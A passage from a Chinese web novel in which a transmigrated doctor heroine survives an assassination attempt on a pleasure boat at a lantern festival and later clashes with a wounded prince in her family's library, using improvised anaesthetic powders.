倒不是她故意忘记,而是在她继承的原主记忆里,上一世的提灯节,因为柳如云在寺中受惊动了胎气,江伯玉忧心忡忡,下令全府上下不得外出,严加看护。
那一夜,侯府寂静无声,与外面的喧嚣隔绝,原主只能闷在房里发脾气,自然无事发生。
今生,原有的轨迹已经因为她的干预而发生了变动。
“瞧我这记性,”江渺起身,脸上挂着期待的笑容,“这就准备,劳烦灵儿妹妹稍等片刻。”
夜色初降,昌都城内已是灯火重重,恍若白昼。
长街两侧挂满了各式各样的彩灯,鱼龙舞动,莲花绽放,走马灯旋转不休,映得游人笑脸也斑斓起来。
河面上,画舫凌波,丝竹管弦之声袅袅传来,与岸上的喧闹交织成一片盛世华章。
长阳侯府的女眷们乘坐马车来到最繁华的河畔街区。
看着眼前万灯齐燃、人流如织的喧闹景象,江渺心中忽然生出一种奇异的疏离感。
在现代,她的前半生为了生存而火急火燎;后半生又为了医学事业匆匆忙忙。
就算来到了这里也每日为了自己的小命而提心吊胆,步步为营。
像这般纯粹为了观赏美景、享受闲暇对她而言,真是一种陌生而奢侈的体验。
“渺妹妹为何看起来心事重重?可是这楼上的景致看得厌了?”
江璟儿突然开口,语气中带着几分关切。她一直注视着江渺,自然没有放过她眼底那抹与周围格格不入的沉郁。
柳如云闻言也看过来,见江渺确实不如从前一般雀跃,只当她是被拘在雅间觉得闷了,便慈爱笑道:“既然出来了,便去玩儿吧。让人跟着你,注意安全就是。”
江灵儿一听,连糕点都来不及咽下,径直从座位上站起身来,“好啊好啊,渺姐姐,下面有卖糖人的,还有好多好玩的,我们一起去玩吧!”
江渺同意,两姐妹
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的目光看向江璟儿,却见她摇摇头,“楼下人多拥挤,我有今晨起来有些不适,便不去了,在此陪着婶母说说话就好。”
江渺也没多想,拉着江灵儿带着几个婆子丫鬟侍从就一同下了楼。
长街之上,摩肩接踵,笑语喧哗。
江灵儿很快被一个吹糖人的摊子吸引,挤了过去。
江渺则站在人群外四处张望,目光不经意间扫过摊位侧后边一个拱桥下。
那里,一个身形单薄的女子蜷缩在阴影里,她的衣衫破烂,发丝乱成一团堆在头顶,裸露的肌肤上挂着触目惊心的伤痕。
拱桥上人群如梭,却无人在意桥下这抹身影。
“你还好吗?”江渺提着衣裙走过去,低头问她。
对方没有反应,只是一味的看着远方的花舫,喃喃自语着什么。
“小姐,要不我们走吧?”阿洛跟上来,有些不安的环顾四周,再打量了一眼眼前的女子,怎么看也与热闹非凡的街头格格不入。
大盛朝多的是流落街头,孤苦无依的人,小姐何必屈尊来管一个乞丐。
阿洛不懂。
江渺没有回答。她忽而想起小时在山中长大,后来逃离大山后孤身来到城市。
那时的她也是这样蜷缩在车水马龙,人来人往的桥洞下。
世界如此之大,高楼林立,万家灯火暖如风,吹在了往来谈笑的行人脸上,却吹不到父母双亡的她的身。
那种空虚,如同冰冷的潮水,令人绝望而窒息。
她也不知道为什么,但是当她反应过来的时候,她已经转过身来对阿洛说道:“你找个人来,将她带回院中……嗯,不,在府外找个合适的地方将她安置起来吧。”
阿洛再次扫了一眼地上神思恍惚的女子,实在想不出她怎的就得了小姐的青睐。
话说,先是丹桂在前,后来又是睿王,如今又捡个不知来历的疯子,小姐莫不是把侯府当济世堂了吧。
可她这话没敢说出来,想了一想,小姐做的都是对的,于是快速点头就按照吩咐去办了。
10.第 10 章
阿洛走远后,江灵儿就提着刚得的兔子花灯,蹦蹦跳跳地寻了过来。
她一眼便瞧见江渺衣摆沾了泥泞,有些吃惊,正要责怪丫鬟婆子不中用,左右一看却没看到阿洛。
于是瞪着眼睛气恼道:“阿洛这妮子,跑到哪里去偷懒了。竟让姐姐一人在此,连衣服脏了都无人伺候。看我不告诉婶母,好好责罚她才是。”
这丫头的性子真是难教,不过对原主倒是挺好的。
江渺伸手拉起要给她整理衣摆的江灵儿,将她的小花灯举起来看了看,笑道:“不是阿洛的错,我让她去前头看看有没有什么新奇的事。方才人多,我不小心被挤到路边,沾了点尘土而已。没什么事。倒是你这花灯真漂亮,看起来活灵活现的。”
得到夸奖后江灵儿眉眼都挂着笑,顺势把花灯给江渺:“渺姐姐喜欢就送给姐姐!”
江渺推开,摇摇头:“我这衣服沾了泥泞,提着也不相称,还是你拿着吧。”
江灵儿听着,眼睛咕噜噜一转,“渺姐姐不玩我也不玩了。”
她伸手将花灯给身后的婆子,想了想又指着不远处的画舫说:“说到新奇的事,我知道今天那船上有杂耍,听说还有来自南靖的舞姬,这不比看花灯好?渺姐姐我们一同前去看吧?”
江渺顺着她手指的方向看过去,那画舫高大如同水上仙阙,层层叠叠不亚于一座高楼,各式灯笼流光溢彩,映照得河水都荡漾着碎金般的光彩。
可不知为何,江渺下意识就想拒绝。
江灵儿眼里装满了画舫的灯火,看不见江渺微蹙的眉头,不由分说拉着她就朝要走。
罢了。
提心吊胆的过活容易得乳腺癌。江渺略微一想,那不划算,与其整日杯弓蛇影,不如兵来将挡,水来土掩!
遂不再犹豫,跟着江灵儿一同前去。
画舫内
自成一片天地。舫内极其开阔,仿若一座小型宫殿。
头顶是精工彩绘的图腾,接连着飞天仙女与各样祥云瑞兽。
地面又是厚厚的缠枝莲纹地毯,鞋履
踏上去也悄然无声。
空气中是淡淡的龙涎香气,混着酒浆的醇香和花果的甜香让人痴迷。
穿着一色的少女,腰肢轻盈的穿梭在人群之中。
往来宾客笑语盈盈,衣香鬓影,目光流转之间尽是盛世繁华。
当然最引人注目的就是舞台中间的舞姬,弹指挥袖间如芙蕖盛放,让人挪不开眼睛。
江灵儿也被这美妙的舞姿吸引,小手紧攥,兴奋得脸颊绯红。
她们坐在舞台正前方,丝竹管弦声不绝于耳。不同于江灵儿的目不转睛,江渺显得有些兴致缺缺。
她对这样喧闹浮华的场合并不是很喜欢,尝了几块糕点后,便觉得有些腻味。一双明眸不自觉地四处打量起来,
一抬头,还真让她看到了一个有些熟悉的身影。
前川?
他怎么在这儿?那,睿王也在?
江渺下意识地顺着他的眼光看过去,发现他正盯着二楼深处的一间雅间。
还没多想,江璟儿的贴身丫鬟突然匆匆忙忙闯了进来,见到江灵儿便着急道:“灵儿小姐,可让奴婢好找。您怎么到这里来了。”
江灵儿被扫了兴致有点不悦:“阿柳?你不在姐姐身边待着,这么急匆匆的干什么?”
那阿柳急忙抹把额头上的细汗,面朝着江灵儿,眼光却不经意的落在了江渺的身上。
“小姐突然胸口疼,让您赶紧过去呢。”
江灵儿一听,立刻坐起身来,姐姐这病已经多年,时好时坏,寻医问药也没有好转,每每发作起来都让人揪心。好在前些年来了个游医,开了个方子,只需要发作时服上一颗即可缓解。
“姐姐没吃药吗?”刚说完这话,猛地一拍手,“诶!我忘了姐姐把药给我保管了!”
她急着就要出去,江渺也站起身来,“璟儿姐姐不舒服?那我们快回去吧。”说着便要跟过去。
江灵儿却突然回身,留恋地看眼舞台,“哎呀渺姐姐,不妨事,姐姐这是老毛病了,我去看看就回来。这舞蹈难得见,你就在这里看表演,免得我回来了好位置被别人占了!”
什么时候了还惦记着表演。江渺哭笑不得,却被江灵儿强行摁回位置,再起身她人影都消失了。
无奈回头,江渺眼睛又忍不住朝二楼看去,在那雕花的梁柱背后却没再看到前川的身影。
还真是神出鬼没的。江渺轻抿口茶,重新看起表演。
舞娘手脚腕上的银铃在光影中叮当作响,周遭笑声连连,正是纸醉金迷之际,异变突生!
舞台上的歌声戛然而止,继而不知道从哪里传来一声尖叫。随后数道黑影如同鬼魅一般从不同的方向蹿出来,他们齐刷刷地越过慌忙逃窜的人群直扑二楼刚刚那深处的雅间。
冰刃的寒光以及兵器撞击的声混着瓷器破碎,银器落地声,女人男人们的尖叫声传遍画舫。
江渺见状连连后退,心中暗自后悔,果然果然,女人的第六感很准。下次觉得不对的地方再也不来了!
此时出口拥挤,人群混杂,乱跑指不定没被刺客杀死,先被慌不择路的人群踩死。且看这些杀手像是是带着目标而来,行动有序,只要她不乱跑应该没有危险。
打定主意,江渺迅速找了一处安全地方躲起来。
“老爷,保护老爷!”
楼上突然传来吼声,江渺定了定神朝二楼望去,但见着刚才一晃而过的前川不知又从哪里冒了出来,与那些黑衣人撕拼在一起。
他手持利刃,如同一尊杀神,手起剑落,次次将敌人的攻击完美化解,凭借一己之力将雅间门口守得严严实实。
好厉害的身手。
果然睿王身边的人都不是吃素的。
江渺躲在梁柱后看得心惊肉跳,忍不住在心里给前川点个赞。转眼却发现就在这电光火石般的瞬间,突然一道亮光袭来,直逼她的面门!
什么情况?
江渺浑身上下的血液一滞,几乎就在刹那,她凭借求生的本能猛地向后一仰,那凌厉的刀锋就从她的面庞呼啸而过,啪啦一声刺破结实的梁柱,也划破她额前的碎发。
好险!好险!
差点没命了!
就在她以为这是哪个不长眼的贼人不小心脱手的时候,没想到还没等她定神,便眼见着刚刚还在和前川缠斗的黑衣人中间,突然有几人转了方向,如同黑豹一般直奔她而来。
他们的非常明确,是她!是冲着她来的。
然而,因着刚刚的那一剑,她一脚踏进了摆放
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吃食的桌后,三侧皆是结实的船身,她已然退无可退。
说时迟那时快,眼见着刀光向自己逼近,江渺也顾不得许多,抬手抱起地上的酒坛便向来势汹汹的贼人砸过去。
黑衣人见状,眼中闪过几分轻蔑,不过随意轻侧身子,酒坛便落在船上碎了一地,他们不由嗤笑,不过是螳臂当车,不自量力。
楼上堵门的前川也被这一变故吸引得看过来,他显然早已认出江渺。
虽然他不太喜欢这位恶名远扬的小姐,不过自家主子最近好像对她有些上心,眼见着她死在自己面前,好像也不太好。不免眸光一冷,出手更加迅速。
可与他缠斗的黑衣人也是好身手,一时间竟无法脱身去解救江渺。
眼见着剑光向江渺刺过去,却又见她突然站直身子,猛地向前方扬起右手,瞬间淡黄色的粉末如同烟雾一般,精准的落在了几个黑衣人的周身。
有毒?!
黑衣人反应迅速,即刻抽身后退。怔怔然面面相觑几秒后,一人抬手嗅了嗅,对其他两人摇了摇头。
这药粉并非毒药。
竟敢耍我们?!几人怒急,也不再犹豫,抬剑就要娶江渺性命,却在脚步踏入刚刚被酒打湿的地面,顿感一阵天旋地转,就连手中的剑也握持不住。
就是现在!
江渺迅速从桌后蹿出,直接朝着出口奔过去!这药粉本来就无毒,是江渺精心配制用于防身的麻醉药。
由于草药的局限性,起效时间一直不太理想,就在刚刚江渺灵机一动,利用酒精的强挥发性,加快药粉起效时间,本是情急之下赌一把,没想到竟真的赌赢了。
就在她快要奔到门口一瞬间,其中一个黑衣人猛地抬刀给自己胳膊上来了一刀。
剧痛瞬间将他从麻痹的边缘拉回来,混沌的意识迎来一丝短暂的清明。双脚猛地蹬地而起,身体弹射而出,手中的长剑直指江渺后心。
眼见着就要避无可避,小命就要交代在这里。
呲溜一声轻响在空气中绽开,一道细微的银光以更快的速度不知从何处飞来,精准的打在了那黑衣人的剑上。
力道之大,连带那黑衣人也被震得向后退了几步。
与此同时,江渺身后一道青色的身影缓缓从二楼飘落,轻若柳叶一般停在江渺和黑衣人中间。
他脸上戴着银丝面具,手上拿着一把折扇,就在落下来的一刻,扇子也在胸前展开,像极了武侠剧里的花无缺。
手臂轻摇,开口让人如沐清风:“一群男人欺负一个弱女子,可非君子所为哦。”
江渺并不认识这个人,也不相信原主有这人缘会有熟人相救。看来是自己运气颇佳,生死关头遇上了英雄出头。
黑衣人才不管他是谁。他们是签了生死状的,任务不完成,也就是个死。今日就算交代在这里也要取她性命。
他脚步一顿稳住身形,迅速转换姿势再次向眼前之人袭来,可惜江渺的麻沸散药力强劲,连伤口的剧痛都被麻痹,才挥出一剑,整个人就瘫软在地。
“真是可惜,还没打就倒下了。”
青衣公子笑笑,突然回头看向江渺,见她脸上并无寻常女子的惊惧之色,又想到刚才在楼上看她一系列操作,有些惊讶,遂指着地上的几人问道:“姑娘刚刚撒的什么粉末?”
11.祸事
“多谢公子。不过是普通的麻药罢了。”江渺微微屈膝道谢,为了不引起不必要的麻烦,她并不打算和别人过多的解释随身携带麻药这事。
这边江渺话音刚落,前川已经将二楼几个刺客都通通拿下。
府兵也在此刻蜂拥而至,雅间的兵部侍郎何同甫推门出来,扫了一眼一地的狼藉和横七竖八的尸首,抬手拭去额头上的冷汗。
刚才贼人闯进来,对着他的面门就是一剑,若不是睿王的侍从拔剑相助,怕是他现在已经去见阎王了。
心里还揣着些许后怕,一边骂着了解自己的手下皆是些废物,一边开口对前川道:
“多谢相救!多谢相救!”
前川躬身回敬道:“大人言重了。只是我家主子有句话想带给大人,希望大人能有空能过府一叙。”
何同甫闻言,脸色微变。
他自然清楚睿王找他何事,可他是二殿下的人,他若与五殿下有了关联,二殿下如何想他?只得打着哈哈,含糊其辞:“自然自然,承蒙王爷挂心,定当亲自上门道谢!”
前川听着,面色没有任何变化,他微微抬手,手中的刀便如利箭一般离弦而去。
众人皆是一惊,只见着长剑准确无误的划过已经被押解住的黑衣人腰间,顿时一块明晃晃的令牌啪嗒一声掉落在地。
何同甫的目光落在地上,刚堆起来的笑瞬间垮掉,连身子都止不住颤抖起来。
这,这是陵王殿下府里的令牌呀……
前川眼见目的已经达到,也不再多说,躬身告辞:“王爷静候何大人光临。小的便先告退了。”
说完他便走下来,路过江渺时,他扫了一眼站在她身边的青衣男子又看看江渺,最终没有说话,大步流星的走开。
这也挺好的,江渺望着前川远去的背影,舒了一口气,装作不认识最好,她也不想和睿王扯上关系。
倒是面前的青衣公子低头打量了一眼江渺,微微上扬了嘴角。
有意思。
“渺姐姐!啊!你没事吧!吓死我了!”风一般闯进来的正是江灵儿。
她送了药回来,路上就听说船上出了事。着急忙慌地赶过来,见着画舫被官兵围的水泄不通,她哀求许久,那些个木头一样的官兵也无动于衷。
后来又看着官兵押着几个黑衣人出来,她的心都提到了嗓子眼。
谢天谢地,她一进门就看到了渺姐姐,毫发无损地站在那里,心虽然落了下来,可情绪上了头,瞬间委屈地像是失去了心爱礼物的孩子。
江渺忙着安慰她,又一边对眼前的人露出一个无奈的笑容:“公子见笑了。如果可以还请公子告知姓名,江渺定当告知父亲改日一同登门,以谢救命之恩!”
“无妨无妨!举手之劳罢了。江小姐还是快安慰令妹吧。如果有机会我们还会再见!”
也罢。江渺不喜欢强求,听他说完也不再追问,屈膝行礼后,两人便在船上别过。
*
长阳侯府
“昌都城内!天子脚下!竟然出现此等狂徒!”江伯玉一手拍在紫檀花木做的桌子上,震得茶盏中的茶水上下摇晃不已。
柳如云倚在暖塌上,脸色还有些苍白。听说江渺出了事,她一口气没提上来,险些晕了去。
江渺拍拍柳如云的手以示安慰,眼光却落在江灵儿身上。
她知道柳如云身子弱,听不得她出事,受不得惊吓,于是千叮咛万嘱咐。江灵儿也再三保证绝不告诉婶母她遇刺的消息。
怎的才一回府,这就传开了?
江灵儿无辜啊。抬头正对上江渺打量的目光,一张小脸都要皱成苦瓜样。
她发誓!她没有说!她也不知道。
一阵短暂的交错后,江渺重新将目光收回来。
若不是江灵儿说的,会是谁?这事情只有江灵儿她们两个知道,难不成是前川?!
这个想法在江渺脑海里一闪而过,但她很快否决了这个念头。
前川和她不熟,点头之交都称不上,王府和长阳侯府也并无仇怨,他这么做对他能有什么好处。
倒是……
江渺猛地侧头看向那个站在纱幔旁边的江璟儿。她笑容浅浅,如同芙蕖一般亭亭而立,看不出什么不妥。
江渺轻声道:“父亲息怒,女儿只是碰巧在现场罢了,那些贼人的目标不是我,女儿没有受到什么伤害,让父母挂心是女儿的错。”
“无妨,只要渺儿没事就好。”柳如云坐起来,瞪了一眼江伯玉,有些嗔怪:“好好的提灯节闹出这等事来,你们这些当差的当的还真好。”
“夫人说的是。都是为夫的错,只要夫人没事怎么罚我都成!”江伯玉讨好的笑笑,虽然提灯节与他无关,不过夫人说什么就是什么!
江渺听着两人酸不溜秋的发言,觉得鸡皮疙瘩起了一身。要不是自己爸妈,高低得说一句,秀恩爱分得快。
不过这不重要,她突然话锋一转,眼神紧盯着江璟儿问道:“璟儿姐姐的心疾可好些了?”
江璟儿没料到江渺突然问她,短暂地怔了几秒才回道:“劳渺妹妹挂心,已经没事了。”
“璟儿心病又犯了?”柳如云抬头看向江璟儿,又转向微云:“怎么也没有人来告知我?”
江渺疑惑:“璟儿姐姐没有一直陪着母亲吗?”
“渺妹妹。你有所不知,你们才离开不久,我远远瞧见楼下有个卖平安福的,便自作主张想着为婶母求一个来。”
她笑着伸手,柳儿立刻从怀中取出一物递给她,确实是一个形制精美的平安福。
“没料到途中心病犯了,好在柳儿机灵,及时找到了灵儿拿到了药。”
她说得坦然,江渺见柳如云点点头,笑道:“原来是我祈福出的变故,璟儿有心了。”
闻言,江璟儿微微屈膝,姿态恭敬:“只愿婶母身体安康,福泽绵长。便是璟儿最大的心愿。”
柳如云招手示意微云,微云从容上前将平安福接过,随后妥善收好。
“近来发生许多事,府外也不太平,你们姊妹要善自珍重,莫要随意走动。大家都平安,母亲才能放心。”
柳如云说着,开始还看着两人,后来便把目光落在了江渺一人身上。
“是,婶母。”
“是,女儿记下了。”
几人异口同声地答道。
忽而,一阵惊雷声炸开,在白色窗纸上的映出一片疏影横斜。
江伯玉看了一眼窗外,又回头看了看
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脸色有好转的柳如云,挥挥手道:“看来要下雨了,你们几个小辈回吧。”
几人站起身来告退,正在此时,柳如云却突然开口道:“忽想起一件事,璟儿留下,婶母有事和你说。”
*
“主子,审出来了。”
前川躬身行礼,桌前的人闻声,将手中的笔搁置下来,微微抬头,从鼻尖发出轻轻一声:“嗯?”
“果然和主子所料一般,这群人都是陵王府豢养的暗卫,此番目标明确,意在取何大人的性命。”
“嗯。”
“只是……”前川罕见的迟疑了一瞬。
南宫煜挑眉,他这个属下一向直言不讳,何事让他犹豫不决?
“说。”
前川道:“属下在现场看到江家小姐了。”
“哦?”
前川一五一十将江渺怎么出现在现场,又怎么躲避刺杀的情况转述给南宫煜。
“那些活口呢?查过他们中的什么毒吗?”
“属下无能,人刚押解回来,就服毒自尽了。但江小姐用的药粉查过了,只是一些普通的麻药。”
“嗯,知道了。”
南宫煜平静地开口。
自从知道江渺是自己的救命恩人后,他便私下调查过她。
然而除了零星几句江家养女飞扬跋扈,任性娇蛮的传言在外,其他的就一无所获。这和他目前所接触到她,形象并不太符合。
他想起今晨温言对他说,他身体里的毒已经侵袭了他的七经八脉,若是找不到解药,纵使神仙下凡也救不了他的命。
他早已将生死置之度外。
可怕的就是到死他不能还以苏家清白,不能查清母妃死亡的真相。
这江渺,竟然能够预言他不久于人世,难道,她不是常人?
南宫煜将江渺说他早亡的话反复咀嚼,看样子她应该知道些什么……
“主子,还有一件事。”
南宫煜的思路被打断,眉梢带上几分不悦,前川今日怎么回事?说话吞吞吐吐!全然没有平日的利落!
“你不能一次说完?”
前川也很无奈啊。
自从那次和主子偷听墙角以后,他就发现自家主子对江家小姐的事情有些反常,每每谈及江渺,主子脸上阴晴不定,心思也越发难测。
他实在摸不准主子到底想不想听,主子已经很辛苦了……
若是还要为这些说不清道不明的事情烦心,那便是他的不是。
可是,主子如果不在意,为何要打听呢?如果主子有别的主意,他若隐瞒不报,耽误了事情怎么办?
万一,他想给咱们找个王妃……。
短暂地犹豫几秒后,他还是决定如实禀报:“那几个黑衣人确实是陵王府的人,但是和刺杀何大人的不是一批人。”
南宫煜手指一顿:“说下去。”
“是。这群人似乎是故意行刺江家小姐来的。”
前川的话音刚落,门外骤然恍如白昼,雷声从很远的天边传来,大雨顷刻便到了眼前。
南宫煜缓缓抬眼,目光穿过急急落下的幕布望向长阳侯府所在的方向。
江渺。
你这是招惹了杀身之祸啊……
12.对峙
江渺回了暗香斋,正准备梳妆休息。
门外突然响起敲门声。
她披衣坐起来,阿洛一开门,江灵儿便带着一身雨雾闯了进来。
“渺姐姐!”
江渺抬头,见她衣衫都被大雨淋湿,急忙招手让阿洛拿来帕子,还没开口,又听她哭道:“渺姐姐,姐姐不见了!怎么办?”
不见了?什么意思?
江渺拭去江灵儿脸上的泪水,轻声道:“灵儿慢慢说,璟儿姐姐不是被母亲留下说话了吗?”
“是,是留下了。可,可后来柳儿慌慌张张回来说姐姐从夫人房里出来以后就魂不守舍的往雨中走,柳儿拦不住,才拿伞的功夫,姐姐她,她就不见了。”
江灵儿抽泣着,有些自责,姐姐心病才发作过,这么大的雨,要是出了什么事了怎么办?
江渺安慰了江灵儿两句,立刻转头像身边人说道:“这么晚了,璟儿姐姐也不可能出府。阿洛,叫上几个得力的人,我们分头去找。”
一行人匆匆闯入与天相接的雨幕之中。只有灯笼的光晕如同萤火在黑夜中急急穿梭。
不知寻了多久,最终,还是在花园假山旁的荷塘边,江渺眼尖地看到了那个几乎与黑夜融为一体的身影。
江璟儿独自一人站立在雨中,全身上下的衣衫早已湿透,在昏黄的烛光里被勾勒出瘦削的线条。
她紧盯着池塘里被风雨击打得弯下腰的荷叶,不知道在沉思着什么,甚至连江灵儿呼喊着走近,她也没有任何反应。
“姐姐!你别吓我呀!”江灵儿伸手去拉住她的胳膊想要将她从池塘边拽回来。却不知怎么,就在手指接触到她冰凉的身体的一刻,江璟儿突然回过头来。
她没有说话,眼神空洞,仿若灵魂出窍。
“璟儿姐姐!”江渺急急唤她一声。
江璟儿微微抬眸看她一眼,随即就晕了过去。
回到涵清阁,江渺立即吩咐下去让侍女们烧水备姜汤。她和江灵儿合力给她换了干净的衣物,一摸她的额头,果然发烧了。
听到江渺让阿洛去请大夫,江灵儿先是一愣,突然从怀里掏出几张被水洇湿的黄纸出言阻止道:“渺姐姐,不用请大夫。我这里有从祥云寺求来的平安符,烧了兑水喝就能救姐姐了!”
江渺看她一副笃定的神情,心中十分无奈!
没想到堂堂侯府小姐,也被那些歪风邪气洗脑了。
可想而知,民间对此怕是更为尊崇。
暗暗叹口气,她伸手将江灵儿手中的符纸拿掉,轻声劝道:“灵儿,渺姐姐知道你担心姐姐。但是符箓是用来安心的,对付不了璟儿姐姐的高热。”
江灵儿看看符纸,又看看江渺,有些疑惑。不是她乱说,这符纸在祥云寺可是一纸难求啊……
她可是废了很多功夫才攒起来的。
现在告诉她,没用?
江渺也知世风如此,索性直接问道:“灵儿,你信不信渺姐姐?”
江灵儿坚定地点头。
得到她的回答,江渺直接将符纸交给下人处理,又叮嘱阿洛尽快请来大夫。
忙乱稍定,等待的间隙江渺的目光投向了一直侍立在旁,瑟瑟发抖的阿柳。
“柳儿,你说吧,这是怎么回事?”
柳儿咚的一声跪下去,连声音也在微微颤抖:“回小姐,奴婢,奴婢不知道啊。”
“不知道?”
“小姐和夫人说话时,奴婢在外间伺候。等到小姐出来,奴婢就看着……看着小姐神色不对。”
后面的事情江渺已经知道。
她望了一眼榻上昏迷的江璟儿,心下十分疑惑。
母亲究竟和她说了些什么?能让一直矜持端庄的江璟儿如此失魂落魄,几近崩溃?
可眼下夜深,她也不可能打扰母亲休息,只能压下满腹疑云,耐心嘱咐丫鬟婆子们照顾好江璟儿,再做打算。
*
被这么一闹,江渺也无心再睡。
她站在花园的长廊上,看着滂沱的大雨,陷入了沉思。
今晨杨安石传来书信,说已经安全抵达南靖,正在多方打听药王谷所在。
杨安石做事看起来靠谱,江渺并不十分不担心,等到找到林清月,主动与她交好,她的计划也就成功了一半。
正想着,黑夜里突然在空中飘起点点灯光,江渺的目光被吸引过去,侧头询问阿洛那是何处。
阿洛伸长脖子看了看答:“小姐,那个方向是藏书阁,看样子应该是府兵正在巡夜。”
藏书阁?
江渺闻言微微一怔。
对呀,原主的记忆里,确实有这么一处地方,朴素无华的独立小楼,静静地矗立在花园拐角处。若不留意,也不会发现那里有座楼。
原主因不喜文墨,不爱书籍典故,更是从不曾踏足。以至于江渺几乎没想起来有这么一个地方。
此刻被阿洛提醒,一个念头骤然在脑海中闪过,或许有关于香料的信息可以在这汇聚了侯府几代收藏的藏书阁里找到答案也未知!
“走!”江渺当即转身过去,刚换的衣衫又被大雨淋湿也没在意,“我们看看去。”
守门的是一名头发已经有些花白的老仆,正靠着门框打盹,听到动静猛地惊醒,一抬头见是江渺,更是诧异:“大小姐,您怎么这个时辰过来了?”
阿洛将灯举起来,说明来意。
老仆连声答应去开门,却忽然想起来什么,转身来低声说道:“大小姐,阁内书籍您皆可翻阅,唯独最里头右边的那个房间,老爷严令过任何人不得靠近……”
高门大宅院有几处不容旁人触碰的禁区也不是什么稀奇事,江渺没有追问,点点头答应。
老仆又陈述了一番书籍摆放的位置,便和阿洛退到门外去等候。
江渺提着灯,独行在高大的书架之间。虽然有人每日打扫,可还是肉眼可见尘埃在光束中间飞舞。
她目标明确,既然那香料与北蛮有关,那么便径直寻找与北蛮相关的医疗典籍,还有风俗杂记,图志。
因着藏书不少,她左右翻阅,不知不觉时间就在她翻动的书页里流逝,连窗外风雨声何时停歇了,她也未曾留意。
正当她凝神在一本时,耳边传来细细碎碎的响声,似乎来自于走廊尽头的深处。
呼吸一凝,举灯侧头望去,光线所及,只有层层书架以及有些年代而缺损的书籍在一片微光中安静地躺着。
是错觉吗?江渺蹙眉,刚欲放松下来,下一瞬,耳边一阵凌厉的劲风呼啸而过!
她甚至没来得及反应,手腕便被一只温热有力的大手扣住,手中的灯盏随之落地,整个书阁骤然陷入黑暗,而江渺倏地被拽向旁边书架的阴影之后。
几乎同一时间,只听得耳边闪过咻咻几声破风的利响。
“什么人?!”藏书阁的门猛地被撞开,听到动静的府兵持械进来,火把照亮了一室书籍。
这时江渺才看清,刚刚她站立的位置后书架上赫然订着数支短箭。
一天之内,两次差点见了阎王。
江渺后怕地想要后退,却感觉自己的腰部被什么硬物顶住。
低沉的男声充满危险的响在耳侧:“让他们出去!”
江渺瞬间分辨出这人的声音,不是旁人,是睿王南宫煜!就凭他险些杀死她,他就算化成灰她也认识他!
现在他还想再
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杀她一次吗?
太过分了。
江渺不动声色地伸手至袖中,嘴上故作惊讶地喊道:“天呐!这里怎么会有机关?!”
刚才守门的老仆急急从楼下赶上来,左右看看,目光落在插在书架上的短箭上,大惊失色:“小……小姐,您没事吧?”
“这怎么回事?”
老仆跪地解释,为了防止坏人进入,在那密室的门上装有机关,只要不触碰便没有危险。
他说着,话语中似有几分责怪之意,可是对方是任性妄为的大小姐,他也没有办法,只能将头低下去,心里祈祷这事不会被老爷狠狠责罚!
“原来如此!是我不小心碰到了机关,吓了一跳而已。这里没事了,你们都出去吧!”江渺顺着老仆的话说下去,但明显巡逻的小队长不太放心,谨慎地举灯想再看看。
腰间一阵大力袭来,江渺猛地扬起声音:“我说话你们听不见吗?本小姐的话你们都不听了?!”
府兵们也素问这位小姐视人命为草芥,并不太好招惹,迟疑了一下,便应了一声是,齐刷刷地退了出去。
待到众人走远,书阁内重新恢复了安静。一片沉寂中,连对方的呼吸声中暗藏着的几分痛意,江渺也听得清清楚楚。
【重伤未愈,还来夜探侯府,定是有什么要紧事!】
【可,你干你的活!我看我的书!竟然挟持我!气死了!】
江渺心里骂骂咧咧,顿感身后的人身形好似微微一颤,好似被她的话刺激到,腰间的刀也松了几分!
就在这个空档,江渺身形往旁边一侧,猛地抬手起来就要将药粉洒出!
南宫煜却像是早有预料,瞬间扣住她的拳头,将她牢牢地扼在掌心。
温热的触感从指尖蔓延开来,如同一阵电流一般传遍全身。
在现代,她忙着讨生活,忙着治病救人,所以从来没有谈过恋爱!
谁知道,她竟然在这里被一个男人碰了!
从来只有她碰别人,何曾被人如此擒住过!
顿时恼羞成怒的她,迅速回身避开腰间的利刃,手虽然动弹不得,却毫不犹豫得抬脚,裙裾翻飞之间,带着淡淡的药香,直袭对方命门!
南宫煜显然没有料到江渺这一招,谁家大家闺秀动不动就拳打脚踢?!
下意识地松开了牵制,回手收住匕首,依在书架边,避开了这不算攻击的攻击。
就在这一瞬,江渺紧握的拳头松开,借着回手的动作,手心的药粉精准的挥洒在南宫煜所处的位置。
南宫煜徐徐地挥袖搅散周身的空气,望着她嗤笑:“同样的招式用第二次就不灵了哦!难道区区麻药就想控制我?!”
江渺早已后退几步,拉开了与他之间的距离,听闻他这句话不急反笑:“你试试呢?”
南宫煜见她眼神亮得惊人,嘴角还带着几分胜利的笑意,立刻屏神调息,顿觉指尖发麻,浑身似有虫子爬过,带来阵阵酥麻感。
这,绝非麻药!
“你!”
南宫煜眸色一沉,立刻急转内力,试图逼出异样,同时伸手向前,想要重新控制住这个狡猾如狐的女子。
“殿下,我劝你别动。”
南宫煜的身形蓦地停下,耳边响起江渺悠悠的笑声:“这药我给它取名叫七步散。你知道为什么叫七步散吗?意思就是中毒后,若强行运功或行走超过七步,便会毒入心脉,气血逆冲,届时……要你命!”
【哼小样,和我斗!】
原本南宫煜根本不信江渺说的那些话,但听到她心里那句嘀咕时,他猛地愣住了,一时间竟束手无策!
他叱咤沙场数十载,居然会被一个女子难住?!
13.活着
要是眼前有个沙袋,他一定要一拳给它打破!
南宫煜气结,怒目圆睁,咬牙切齿,半晌后强压心中恼怒,缓声道:“江小姐你我无冤无仇,何必下此狠手?”
【嗯?!】
【嗯?!】
江渺在心里打了二十个大问号,几乎要怀疑自己的耳朵。
她没听错吧?
他知不知道他想要她命几次了!
哦,他不知道!江渺气极反笑,顺着他的话道:“是啊,我与殿下”,顿了顿,一字一字重复:“无!冤!无!仇!”
“所以,殿下再见!”
说完,她懒得再管他的死活,抬脚就要走。
【恩将仇报,祝你吃泡面没有叉子!上厕所找不到厕所!买的奶茶永远没珍珠!!】
江渺在心中恶骂他一百遍。
可就在转身的刹那,身后突然传来咚的一声,她下意识回头,只见刚才还讥笑她的男子单膝跪地,一只手撑着地面,一只手又捂着胸前,状似痛苦不堪。
江渺本不想管他,可是今夜只有自己出现在这里,明天发现一具尸体,还是堂堂睿王殿下。那给她十张嘴,她可能说不清了。
没办法,江渺回身过来,定睛一看,只见他嘴角溢出鲜血,在微光下尤其刺眼。
【什么情况?】
【这就倒下了?】
【不应该啊……】
七步散的名字就是她说出来哄南宫煜的。
船上一事让她意识到只用麻药不足以防身,回来就换了一种药带在身上。
